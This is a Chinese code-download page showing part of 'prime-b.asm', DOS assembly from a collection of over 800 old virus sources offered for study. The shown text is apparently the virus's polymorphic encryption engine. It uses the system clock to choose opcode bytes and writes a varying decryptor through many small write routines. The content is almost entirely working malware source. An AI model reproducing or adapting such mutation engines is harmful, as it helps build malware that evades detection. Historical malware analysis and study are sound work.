⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 prime-b.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_79                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_78                  ; Jump if below

                call    write_31h_0f7h
                call    write_47h

                jmp     short loc_83
loc_78:
                call    write_31h_0ddh
                call    write_4fh
                jmp     short loc_83
loc_79:
                call    write_31h_0f7h
                call    write_47h
                jmp     short loc_83
loc_80:
                call    write_83h_0c7h_DL
                jmp     short loc_83
loc_81:
                call    write_0bfh_BL_0bfh
                jmp     short loc_83
loc_82:
                call    write_47h
                call    write_0ebh_0
loc_83:
                mov     di,102h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_88                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_87                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_86                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_85                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_84                  ; Jump if below

                call    write_31h_0c7h
                call    write_31h_0cfh

                jmp     short loc_89
loc_84:
                call    write_31h_0ddh
                call    write_45h
                call    write_4fh
                jmp     short loc_89
loc_85:
                call    write_31h_0f7h
                call    write_31h_0edh
                jmp     short loc_89
loc_86:
                call    write_8dh_3eh_BL_BH
                jmp     short loc_89
loc_87:
                call    write_83h_0c7h_DL
                call    write_47h
                jmp     short loc_89
loc_88:
                call    write_0ebh_0
                call    write_31h_0ffh
loc_89:
                mov     di,109h
                call    get_time

                cmp     dh,0Ah                  ; if seconds = 0ah
                jb      loc_94                    ;Jump if below

                cmp     dh,14h                  ; if seconds = 14h
                jb      loc_93                  ; Jump if below

                cmp     dh,1Eh                  ; if seconds = 1eh
                jb      loc_92                  ; Jump if below

                cmp     dh,28h                  ; if seconds = 28h
                jb      loc_91                  ; Jump if below

                cmp     dh,32h                  ; if seconds = 32h
                jb      loc_90                  ; Jump if below

                call    write_0ebh_0
                call    write_47h

                jmp     short loc_ret_95
loc_90:
                call    write_0ebh_0
                call    write_4fh
                jmp     short loc_ret_95
loc_91:
                call    write_47h
                call    write_47h
                call    write_45h
                jmp     short loc_ret_95
loc_92:
                call    write_83h_0c7h_DL
                jmp     short loc_ret_95
loc_93:
                call    write_47h
                call    write_31h_0ffh
                jmp     short loc_ret_95
loc_94:
                call    write_0ebh_0
                call    write_47h

loc_ret_95:
                retn
crypt           endp



get_time        proc    near
                mov     ah,2Ch                  ; get system time
                int     21h

                retn
get_time        endp


write_31h_0c5h           proc    near
                mov     al,31h
                stosb                           ; Store al to es:[di]
                mov     al,0C5h
                stosb                           ; Store al to es:[di]
                retn
write_31h_0c5h           endp


write_31h_0ddh           proc    near
                mov     al,31h
                stosb                           ; Store al to es:[di]
                mov     al,0DDh
                stosb                           ; Store al to es:[di]
                retn
write_31h_0ddh           endp

                mov     al,31h
                stosb                           ; Store al to es:[di]
                mov     al,0CDh
                stosb                           ; Store al to es:[di]
                retn


write_31h_0d5h           proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0D5h
                stosb                           ; Store al to es:[di]
                retn
write_31h_0d5h           endp



write_31h_0f5h           proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0F5h
                stosb                           ; Store al to es:[di]
                retn
write_31h_0f5h           endp

                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0FDh
                stosb                           ; Store al to es:[di]
                retn


write_31h_0edh           proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0EDh
                stosb                           ; Store al to es:[di]
                retn
write_31h_0edh           endp


write_31h_0c7h          proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0C7h
                stosb                           ; Store al to es:[di]
                retn
write_31h_0c7h          endp


write_31h_0dfh          proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0DFh
                stosb                           ; Store al to es:[di]
                retn
write_31h_0dfh          endp


write_31h_0cfh          proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0CFh
                stosb                           ; Store al to es:[di]
                retn
write_31h_0cfh          endp


write_31h_0d7h          proc    near
                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0D7h
                stosb                           ; Store al to es:[di]
                retn
write_31h_0d7h          endp

                mov     al,31h                  ; '1'
                stosb                           ; Store al to es:[di]
                mov     al,0EFh
                stosb                           ; Store al to es:[di]
                retn

write_31h_0f7h          proc    near
                mov     al,31h
                stosb                           ; tore al to es:[di]
                mov     al,0F7h
                stosb                           ; tore al to es:[di]
                retn
write_31h_0f7h          endp


write_31h_0ffh          proc    near
                mov     al,31h
                stosb                           ; tore al to es:[di]
                mov     al,0FFh
                stosb                           ; tore al to es:[di]
                retn
write_31h_0ffh          endp



write_45h          proc    near
                mov     al,45h                  ; 'E'
                stosb                           ; Store al to es:[di]
                retn
write_45h          endp


write_4dh          proc    near
                mov     al,4Dh                  ; 'M'
                stosb                           ; Store al to es:[di]
                retn
write_4dh          endp

write_47h          proc    near
                mov     al,47h                  ; 'G'
                stosb                           ; Store al to es:[di]
                retn
write_47h          endp


write_4fh          proc    near
                mov     al,4Fh                  ; 'O'
                stosb                           ; Store al to es:[di]
                retn
write_4fh          endp


write_0bfh_BL_0bfh          proc    near
                mov     al,0BFh
                stosb                           ; Store al to es:[di]
                mov     al,bl
                stosb                           ; Store al to es:[di]
                mov     al,al
                stosb                           ; Store al to es:[di]
                retn
write_0bfh_BL_0bfh          endp

write_8dh_3eh_BL_BH          proc    near
                mov     al,8Dh
                stosb                           ; Store al to es:[di]
                mov     al,3Eh                  ; '>'
                stosb                           ; Store al to es:[di]
                mov     al,bl
                stosb                           ; Store al to es:[di]
                mov     al,bh
                stosb                           ; Store al to es:[di]
                retn
write_8dh_3eh_BL_BH          endp

write_83h_0c7h_DL          proc    near
                mov     al,83h
                stosb                           ; Store al to es:[di]
                mov     al,0C7h
                stosb                           ; Store al to es:[di]
                mov     al,dl
                stosb                           ; Store al to es:[di]
                retn
write_83h_0c7h_DL          endp


write_0ebh_0          proc    near
                mov     al,0EBh
                stosb                           ; Store al to es:[di]
                mov     al,0
                stosb                           ; Store al to es:[di]
                retn
write_0ebh_0          endp


write_9h_0ffh          proc    near
                mov     al,9
                stosb                           ; Store al to es:[di]
                mov     al,0FFh
                stosb                           ; Store al to es:[di]
                retn
write_9h_0ffh          endp

write_9h_0efh          proc    near
                mov     al,9
                stosb                           ; Store al to es:[di]
                mov     al,0EFh
                stosb                           ; Store al to es:[di]
                retn
write_9h_0efh          endp


write_21h_0efh          proc    near
                mov     al,21h                  ; '!'
                stosb                           ; Store al to es:[di]
                mov     al,0EFh
                stosb                           ; Store al to es:[di]
                retn
write_21h_0efh          endp

write_81h_0efh          proc    near
                mov     al,81h
                stosb                           ; Store al to es:[di]
                mov     al,0EFh
                stosb                           ; Store al to es:[di]
                retn
write_81h_0efh          endp

                mov     al,29h                  ; ')'
                stosb                           ; Store al to es:[di]
                mov     al,0C7h
                stosb                           ; Store al to es:[di]
                retn

write_29h_0cfh          proc    near
                mov     al,29h                  ; ')'
                stosb                           ; Store al to es:[di]
                mov     al,0CFh
                stosb                           ; Store al to es:[di]
                retn
write_29h_0cfh          endp

                mov     al,29h                  ; ')'
                stosb                           ; Store al to es:[di]
                mov     al,0D7h
                stosb                           ; Store al to es:[di]
                retn

write_29h_0f7h          proc    near
                mov     al,29h                  ; ')'
                stosb                           ; Store al to es:[di]
                mov     al,0F7h
                stosb                           ; Store al to es:[di]
                retn
write_29h_0f7h          endp


write_29h_0efh          proc    near
                mov     al,29h                  ; ')'
                stosb                           ; Store al to es:[di]
                mov     al,0EFh
                stosb                           ; Store al to es:[di]
                retn
write_29h_0efh          endp

vend            equ     $

seg_a           ends
                end     start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -